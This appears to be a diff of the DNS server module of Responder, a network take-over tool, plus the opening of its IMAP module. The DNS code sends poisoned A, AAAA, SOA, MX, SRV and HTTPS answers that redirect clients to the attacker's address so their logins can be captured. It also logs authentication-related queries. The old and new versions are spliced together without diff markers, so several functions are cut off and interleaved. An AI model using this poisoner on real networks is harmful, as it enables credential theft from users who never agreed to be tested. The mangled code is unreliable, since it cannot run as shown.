# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# Features:
|
||||
# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries
|
||||
# - OPT record (EDNS0) support for modern DNS clients
|
||||
# - SOA records to appear as authoritative DNS server
|
||||
# - MX record poisoning for email client authentication capture
|
||||
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
|
||||
# - Logs interesting authentication-related domains
|
||||
# - Short TTL (60s) to ensure frequent re-queries
|
||||
# - IPv6 support for modern networks
|
||||
# - Domain filtering to target specific domains only
|
||||
#
|
||||
from utils import *
|
||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||
import struct
|
||||
import socket
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
#Should we answer to those AAAA?
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
OPT = data[len(data)-22:len(data)-20]
|
||||
if OPT == "\x00\x29":
|
||||
return "OPTIPv4"
|
||||
# If Type A, Class IN, then answer.
|
||||
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||
return "A"
|
||||
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||
return "IPv6"
|
||||
|
||||
|
||||
|
||||
class DNS(BaseRequestHandler):
|
||||
"""
|
||||
Enhanced DNS server for Responder
|
||||
Redirects DNS queries to attacker's IP to force authentication attempts
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
# Ditch it if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
data, socket_obj = self.request
|
||||
|
||||
if len(data) < 12:
|
||||
return
|
||||
|
||||
# Parse DNS header
|
||||
transaction_id = data[0:2]
|
||||
flags = struct.unpack('>H', data[2:4])[0]
|
||||
questions = struct.unpack('>H', data[4:6])[0]
|
||||
answer_rrs = struct.unpack('>H', data[6:8])[0]
|
||||
authority_rrs = struct.unpack('>H', data[8:10])[0]
|
||||
additional_rrs = struct.unpack('>H', data[10:12])[0]
|
||||
|
||||
# Check if it's a query (QR bit = 0)
|
||||
if flags & 0x8000:
|
||||
return # It's a response, ignore
|
||||
|
||||
# Parse question section
|
||||
query_name, query_type, query_class, offset = self.parse_question(data, 12)
|
||||
|
||||
if not query_name:
|
||||
return
|
||||
|
||||
# Check for OPT record in additional section
|
||||
opt_record = None
|
||||
if additional_rrs > 0:
|
||||
opt_record = self.parse_opt_record(data, offset)
|
||||
|
||||
# Log the query
|
||||
if settings.Config.Verbose:
|
||||
query_type_name = self.get_type_name(query_type)
|
||||
opt_info = ''
|
||||
if opt_record:
|
||||
opt_info = ' [EDNS0: UDP=%d, DO=%s]' % (
|
||||
opt_record['udp_size'],
|
||||
'Yes' if opt_record['dnssec_ok'] else 'No'
|
||||
)
|
||||
print(text('[DNS] Query from %s: %s (%s)%s' % (
|
||||
self.client_address[0].replace('::ffff:', ''),
|
||||
query_name,
|
||||
query_type_name,
|
||||
opt_info
|
||||
)))
|
||||
|
||||
# Check if we should respond to this query
|
||||
if not self.should_respond(query_name, query_type):
|
||||
return
|
||||
|
||||
# Build response
|
||||
response = self.build_response(
|
||||
transaction_id,
|
||||
query_name,
|
||||
query_type,
|
||||
query_class,
|
||||
data,
|
||||
opt_record
|
||||
)
|
||||
|
||||
if response:
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# DNS Server TCP Class
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error: %s' % str(e)))
|
||||
|
||||
def parse_question(self, data, offset):
|
||||
"""Parse DNS question section and return domain name, type, class"""
|
||||
try:
|
||||
# Parse domain name (labels)
|
||||
labels = []
|
||||
original_offset = offset
|
||||
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
|
||||
# Check for compression pointer
|
||||
if (length & 0xC0) == 0xC0:
|
||||
# Compression pointer, stop here
|
||||
offset += 2
|
||||
break
|
||||
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
return None, None, None, offset
|
||||
|
||||
label = data[offset:offset+length].decode('utf-8', errors='ignore')
|
||||
labels.append(label)
|
||||
offset += length
|
||||
|
||||
domain_name = '.'.join(labels)
|
||||
|
||||
# Parse type and class
|
||||
if offset + 4 > len(data):
|
||||
return None, None, None, offset
|
||||
|
||||
query_type = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
query_class = struct.unpack('>H', data[offset+2:offset+4])[0]
|
||||
offset += 4
|
||||
|
||||
return domain_name, query_type, query_class, offset
|
||||
|
||||
except:
|
||||
return None, None, None, offset
|
||||
|
||||
def parse_opt_record(self, data, offset):
|
||||
"""
|
||||
Parse OPT pseudo-RR from additional section (EDNS0)
|
||||
|
||||
OPT RR format:
|
||||
- NAME: domain name (should be root: 0x00)
|
||||
- TYPE: OPT (41)
|
||||
- CLASS: requestor's UDP payload size
|
||||
- TTL: extended RCODE and flags (4 bytes)
|
||||
- Byte 0: Extended RCODE
|
||||
- Byte 1: EDNS version
|
||||
- Bytes 2-3: Flags (bit 15 = DNSSEC OK)
|
||||
- RDLENGTH: length of RDATA
|
||||
- RDATA: {attribute, value} pairs
|
||||
"""
|
||||
try:
|
||||
# Skip any answer/authority records to get to additional section
|
||||
# For simplicity, we'll scan for OPT record (TYPE=41)
|
||||
|
||||
while offset < len(data):
|
||||
# Check if we're at a name
|
||||
if offset >= len(data):
|
||||
return None
|
||||
|
||||
# Skip name (could be label or pointer)
|
||||
name_start = offset
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
if (length & 0xC0) == 0xC0:
|
||||
offset += 2
|
||||
break
|
||||
offset += length + 1
|
||||
|
||||
# Check if we have enough data for type, class, ttl, rdlength
|
||||
if offset + 10 > len(data):
|
||||
return None
|
||||
|
||||
rr_type = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
if rr_type == 41: # OPT record found
|
||||
udp_payload_size = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
# TTL field contains extended RCODE and flags
|
||||
ttl_bytes = data[offset:offset+4]
|
||||
extended_rcode = ttl_bytes[0]
|
||||
edns_version = ttl_bytes[1]
|
||||
flags = struct.unpack('>H', ttl_bytes[2:4])[0]
|
||||
dnssec_ok = bool(flags & 0x8000) # DO bit
|
||||
offset += 4
|
||||
|
||||
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
# RDATA contains option codes (we'll just skip for now)
|
||||
rdata = data[offset:offset+rdlength] if rdlength > 0 else b''
|
||||
|
||||
return {
|
||||
'udp_size': udp_payload_size,
|
||||
'extended_rcode': extended_rcode,
|
||||
'edns_version': edns_version,
|
||||
'dnssec_ok': dnssec_ok,
|
||||
'rdata': rdata
|
||||
}
|
||||
else:
|
||||
# Skip this RR
|
||||
offset += 2 # class
|
||||
offset += 4 # ttl
|
||||
if offset + 2 > len(data):
|
||||
return None
|
||||
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2 + rdlength
|
||||
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error parsing OPT record: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def should_respond(self, query_name, query_type):
|
||||
"""Determine if we should respond to this DNS query"""
|
||||
|
||||
# Don't respond to empty queries
|
||||
if not query_name:
|
||||
return False
|
||||
|
||||
# Domain filtering - only respond to configured domain if set
|
||||
if hasattr(settings.Config, 'DHCPv6_Domain') and settings.Config.DHCPv6_Domain:
|
||||
target_domain = settings.Config.DHCPv6_Domain.lower().strip()
|
||||
query_lower = query_name.lower().strip('.')
|
||||
|
||||
# Check if query matches domain or is a subdomain
|
||||
if not (query_lower == target_domain or query_lower.endswith('.' + target_domain)):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Ignoring query for %s (not in target domain %s)' % (
|
||||
query_name, target_domain)))
|
||||
return False
|
||||
|
||||
# Log that we're responding to a filtered domain
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
|
||||
|
||||
# Respond to these query types:
|
||||
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
|
||||
# SVCB (64), HTTPS (65) - Service Binding records
|
||||
supported_types = [1, 6, 15, 16, 28, 33, 64, 65, 255]
|
||||
if query_type not in supported_types:
|
||||
return False
|
||||
|
||||
# Check if domain is in analyze mode targets
|
||||
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
|
||||
#if hasattr(settings.Config, 'AnalyzeMode'):
|
||||
#if settings.Config.AnalyzeMode:
|
||||
# In analyze mode, log but don't respond
|
||||
#return False
|
||||
|
||||
# Log interesting queries (authentication-related domains)
|
||||
query_lower = query_name.lower()
|
||||
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
|
||||
if any(pattern in query_lower for pattern in interesting_patterns):
|
||||
SaveToDb({
|
||||
'module': 'DNS',
|
||||
'type': 'Interesting-Query',
|
||||
'client': self.client_address[0].replace('::ffff:', ''),
|
||||
'hostname': query_name,
|
||||
'fullhash': query_name
|
||||
})
|
||||
|
||||
# Respond to everything that passed the filters
|
||||
return True
|
||||
|
||||
def build_response(self, transaction_id, query_name, query_type, query_class, original_data, opt_record=None):
|
||||
"""Build DNS response packet with optional OPT record support"""
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
# DNS Header
|
||||
response = transaction_id # Transaction ID
|
||||
|
||||
# Flags: Response, Authoritative, No error
|
||||
flags = 0x8400 # Standard query response, authoritative
|
||||
response += struct.pack('>H', flags)
|
||||
|
||||
# Questions, Answers, Authority RRs, Additional RRs
|
||||
response += struct.pack('>H', 1) # 1 question
|
||||
response += struct.pack('>H', 1) # 1 answer
|
||||
response += struct.pack('>H', 0) # 0 authority
|
||||
|
||||
# Additional RRs count (1 if we have OPT record)
|
||||
additional_count = 1 if opt_record else 0
|
||||
response += struct.pack('>H', additional_count)
|
||||
|
||||
# Question section (copy from original query)
|
||||
# Find question section in original data
|
||||
question_start = 12
|
||||
question_end = question_start
|
||||
|
||||
# Skip to end of domain name
|
||||
while question_end < len(original_data):
|
||||
length = original_data[question_end]
|
||||
if length == 0:
|
||||
question_end += 5 # null byte + type (2) + class (2)
|
||||
break
|
||||
if (length & 0xC0) == 0xC0:
|
||||
question_end += 6 # pointer (2) + type (2) + class (2)
|
||||
break
|
||||
question_end += length + 1
|
||||
|
||||
question_section = original_data[question_start:question_end]
|
||||
response += question_section
|
||||
|
||||
# Answer section
|
||||
# Name (pointer to question)
|
||||
response += b'\xc0\x0c' # Pointer to offset 12 (question name)
|
||||
|
||||
# Type
|
||||
response += struct.pack('>H', query_type)
|
||||
|
||||
# Class
|
||||
response += struct.pack('>H', query_class)
|
||||
|
||||
# TTL (short to ensure frequent re-queries)
|
||||
response += struct.pack('>I', 60) # 60 seconds
|
||||
|
||||
# Get target IP
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
|
||||
if query_type == 1: # A record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 4)
|
||||
# RDATA (IPv4 address)
|
||||
response += socket.inet_aton(target_ip)
|
||||
|
||||
elif query_type == 28: # AAAA record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 16)
|
||||
# RDATA (IPv6 address)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
response += socket.inet_pton(socket.AF_INET6, ipv6)
|
||||
|
||||
elif query_type == 6: # SOA record (Start of Authority)
|
||||
# Build SOA record to appear authoritative
|
||||
# SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
# MNAME (primary nameserver) - pointer to query name
|
||||
soa_data = b'\xc0\x0c'
|
||||
|
||||
# RNAME (responsible party) - admin@<domain>
|
||||
# Format: admin.<domain> (@ becomes .)
|
||||
soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name
|
||||
|
||||
# SERIAL (zone serial number)
|
||||
import time
|
||||
serial = int(time.time()) % 2147483647 # Use timestamp as serial
|
||||
soa_data += struct.pack('>I', serial)
|
||||
|
||||
# REFRESH (32-bit seconds) - how often secondary checks for updates
|
||||
soa_data += struct.pack('>I', 120) # 2 minutes
|
||||
|
||||
# RETRY (32-bit seconds) - retry interval if refresh fails
|
||||
soa_data += struct.pack('>I', 60) # 1 minute
|
||||
|
||||
# EXPIRE (32-bit seconds) - when zone data becomes invalid
|
||||
soa_data += struct.pack('>I', 300) # 5 minutes
|
||||
|
||||
# MINIMUM (32-bit seconds) - minimum TTL for negative caching
|
||||
soa_data += struct.pack('>I', 60) # 60 seconds
|
||||
|
||||
response += struct.pack('>H', len(soa_data))
|
||||
response += soa_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1))
|
||||
|
||||
elif query_type == 15: # MX record (mail server)
|
||||
# Build MX record pointing to our server
|
||||
# This captures SMTP auth attempts
|
||||
mx_data = struct.pack('>H', 10) # Priority 10
|
||||
mx_data += b'\xc0\x0c' # Pointer to query name (our server)
|
||||
|
||||
response += struct.pack('>H', len(mx_data))
|
||||
response += mx_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1))
|
||||
|
||||
elif query_type == 16: # TXT record
|
||||
# Return a benign TXT record
|
||||
txt_data = b'v=spf1 a mx ~all' # SPF record
|
||||
response += struct.pack('>H', len(txt_data) + 1)
|
||||
response += struct.pack('B', len(txt_data))
|
||||
response += txt_data
|
||||
|
||||
elif query_type == 33: # SRV record (service discovery)
|
||||
# SRV format: priority, weight, port, target
|
||||
# Useful for capturing Kerberos, LDAP, etc.
|
||||
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
|
||||
srv_data += b'\xc0\x0c' # Target (pointer to query name)
|
||||
|
||||
response += struct.pack('>H', len(srv_data))
|
||||
response += srv_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
|
||||
|
||||
elif query_type == 255: # ANY query
|
||||
# Respond with A record
|
||||
response += struct.pack('>H', 4)
|
||||
response += socket.inet_aton(target_ip)
|
||||
|
||||
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
|
||||
# Service Binding records - respond with alias to same domain
|
||||
# This tells clients to use A/AAAA records for the service
|
||||
# SVCB format: priority, target, params
|
||||
|
||||
# Priority 0 = AliasMode (just use A/AAAA of target)
|
||||
svcb_data = struct.pack('>H', 0) # Priority 0 (alias)
|
||||
# Target: pointer to query name (use our domain)
|
||||
svcb_data += b'\xc0\x0c' # Pointer to query name
|
||||
|
||||
response += struct.pack('>H', len(svcb_data))
|
||||
response += svcb_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
record_type = 'HTTPS' if query_type == 65 else 'SVCB'
|
||||
print(color('[DNS] %s record poisoned - alias mode' % record_type, 3, 1))
|
||||
|
||||
# Add OPT record to additional section if client sent one
|
||||
if opt_record:
|
||||
response += self.build_opt_record(opt_record)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error building response: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def build_opt_record(self, client_opt):
|
||||
"""
|
||||
Build OPT pseudo-RR for EDNS0 response
|
||||
|
||||
This indicates our server supports EDNS0 extensions
|
||||
"""
|
||||
try:
|
||||
opt_rr = b''
|
||||
|
||||
# NAME: root domain (empty)
|
||||
opt_rr += b'\x00'
|
||||
|
||||
# TYPE: OPT (41)
|
||||
opt_rr += struct.pack('>H', 41)
|
||||
|
||||
# CLASS: UDP payload size we support (typically 4096 or 512)
|
||||
# Match client's size or use reasonable default
|
||||
udp_size = min(client_opt['udp_size'], 4096) if client_opt['udp_size'] > 512 else 4096
|
||||
opt_rr += struct.pack('>H', udp_size)
|
||||
|
||||
# TTL: Extended RCODE and flags
|
||||
# Byte 0: Extended RCODE (0 = no error)
|
||||
# Byte 1: EDNS version (0)
|
||||
# Bytes 2-3: Flags (we don't set DNSSEC OK in response)
|
||||
extended_rcode = 0
|
||||
edns_version = 0
|
||||
flags = 0 # No flags set (we don't support DNSSEC)
|
||||
|
||||
opt_rr += struct.pack('B', extended_rcode)
|
||||
opt_rr += struct.pack('B', edns_version)
|
||||
opt_rr += struct.pack('>H', flags)
|
||||
|
||||
# RDLENGTH: 0 (no additional options)
|
||||
opt_rr += struct.pack('>H', 0)
|
||||
|
||||
# RDATA: empty (no options)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Added OPT record to response (EDNS0)', 4, 1))
|
||||
|
||||
return opt_rr
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error building OPT record: %s' % str(e)))
|
||||
return b''
|
||||
|
||||
def get_target_ip(self, query_type):
|
||||
"""Get the target IP address for spoofed responses"""
|
||||
# Use Responder's configured IP
|
||||
if query_type == 28: # AAAA
|
||||
return self.get_ipv6_address()
|
||||
else: # A record
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def get_ipv6_address(self):
|
||||
"""Get IPv6 address for AAAA responses"""
|
||||
# Priority 1: Use explicitly configured IPv6
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
return settings.Config.Bind_To_IPv6
|
||||
|
||||
# Priority 2: Try to detect actual IPv6 on interface
|
||||
try:
|
||||
import netifaces
|
||||
ipv4 = settings.Config.Bind_To
|
||||
|
||||
# Find which interface has this IPv4
|
||||
for iface in netifaces.interfaces():
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
# Check if this interface has our IPv4
|
||||
if netifaces.AF_INET in addrs:
|
||||
for addr in addrs[netifaces.AF_INET]:
|
||||
if addr.get('addr') == ipv4:
|
||||
# Found the interface, get its global IPv6
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
|
||||
# Return first global IPv6 (not link-local fe80::)
|
||||
if ipv6 and not ipv6.startswith('fe80:'):
|
||||
return ipv6
|
||||
except:
|
||||
continue
|
||||
except ImportError:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
|
||||
# This allows dual-stack clients to connect via IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
return '::ffff:%s' % ipv4
|
||||
except:
|
||||
pass
|
||||
|
||||
# Last resort: return IPv6 loopback
|
||||
return '::1'
|
||||
|
||||
def get_type_name(self, query_type):
|
||||
"""Convert query type number to name"""
|
||||
types = {
|
||||
1: 'A',
|
||||
2: 'NS',
|
||||
5: 'CNAME',
|
||||
6: 'SOA',
|
||||
12: 'PTR',
|
||||
15: 'MX',
|
||||
16: 'TXT',
|
||||
28: 'AAAA',
|
||||
33: 'SRV',
|
||||
41: 'OPT',
|
||||
64: 'SVCB',
|
||||
65: 'HTTPS',
|
||||
255: 'ANY'
|
||||
}
|
||||
return types.get(query_type, 'TYPE%d' % query_type)
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
"""
|
||||
DNS over TCP server
|
||||
Handles TCP-based DNS queries (zone transfers, large responses)
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# TCP DNS messages are prefixed with 2-byte length
|
||||
length_data = self.request.recv(2)
|
||||
if len(length_data) < 2:
|
||||
return
|
||||
|
||||
msg_length = struct.unpack('>H', length_data)[0]
|
||||
|
||||
# Receive the DNS message
|
||||
data = b''
|
||||
while len(data) < msg_length:
|
||||
chunk = self.request.recv(msg_length - len(data))
|
||||
if not chunk:
|
||||
return
|
||||
data += chunk
|
||||
|
||||
if len(data) < 12:
|
||||
return
|
||||
|
||||
# Parse DNS header
|
||||
transaction_id = data[0:2]
|
||||
flags = struct.unpack('>H', data[2:4])[0]
|
||||
questions = struct.unpack('>H', data[4:6])[0]
|
||||
answer_rrs = struct.unpack('>H', data[6:8])[0]
|
||||
authority_rrs = struct.unpack('>H', data[8:10])[0]
|
||||
additional_rrs = struct.unpack('>H', data[10:12])[0]
|
||||
|
||||
# Check if it's a query
|
||||
if flags & 0x8000:
|
||||
return
|
||||
|
||||
# Create DNS instance to reuse parsing logic
|
||||
dns_handler = DNS.__new__(DNS)
|
||||
dns_handler.client_address = self.client_address
|
||||
|
||||
# Parse question
|
||||
query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12)
|
||||
|
||||
if not query_name:
|
||||
return
|
||||
|
||||
# Check for OPT record
|
||||
opt_record = None
|
||||
if additional_rrs > 0:
|
||||
opt_record = dns_handler.parse_opt_record(data, offset)
|
||||
|
||||
# Log the query
|
||||
if settings.Config.Verbose:
|
||||
query_type_name = dns_handler.get_type_name(query_type)
|
||||
opt_info = ''
|
||||
if opt_record:
|
||||
opt_info = ' [EDNS0: UDP=%d]' % opt_record['udp_size']
|
||||
print(text('[DNS-TCP] Query from %s: %s (%s)%s' % (
|
||||
self.client_address[0].replace('::ffff:', ''),
|
||||
query_name,
|
||||
query_type_name,
|
||||
opt_info
|
||||
)))
|
||||
|
||||
# Check if we should respond
|
||||
if not dns_handler.should_respond(query_name, query_type):
|
||||
return
|
||||
|
||||
# Build response
|
||||
response = dns_handler.build_response(
|
||||
transaction_id,
|
||||
query_name,
|
||||
query_type,
|
||||
query_class,
|
||||
data,
|
||||
opt_record
|
||||
)
|
||||
|
||||
if response:
|
||||
# Prefix with length for TCP
|
||||
tcp_response = struct.pack('>H', len(response)) + response
|
||||
self.request.sendall(tcp_response)
|
||||
|
||||
target_ip = dns_handler.get_target_ip(query_type)
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS-TCP] Error: %s' % str(e)))
|
||||
|
||||
603
servers/IMAP.py
603
servers/IMAP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,34 +15,609 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import base64
|
||||
import re
|
||||
import struct
|
||||
import os
|
||||
import ssl
|
||||
from utils import *
|
||||
|
||||
if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
class IMAP(BaseRequestHandler):
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.tls_enabled = False
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def upgrade_to_tls(self):
|
||||
"""Upgrade connection to TLS using Responder's SSL certificates"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
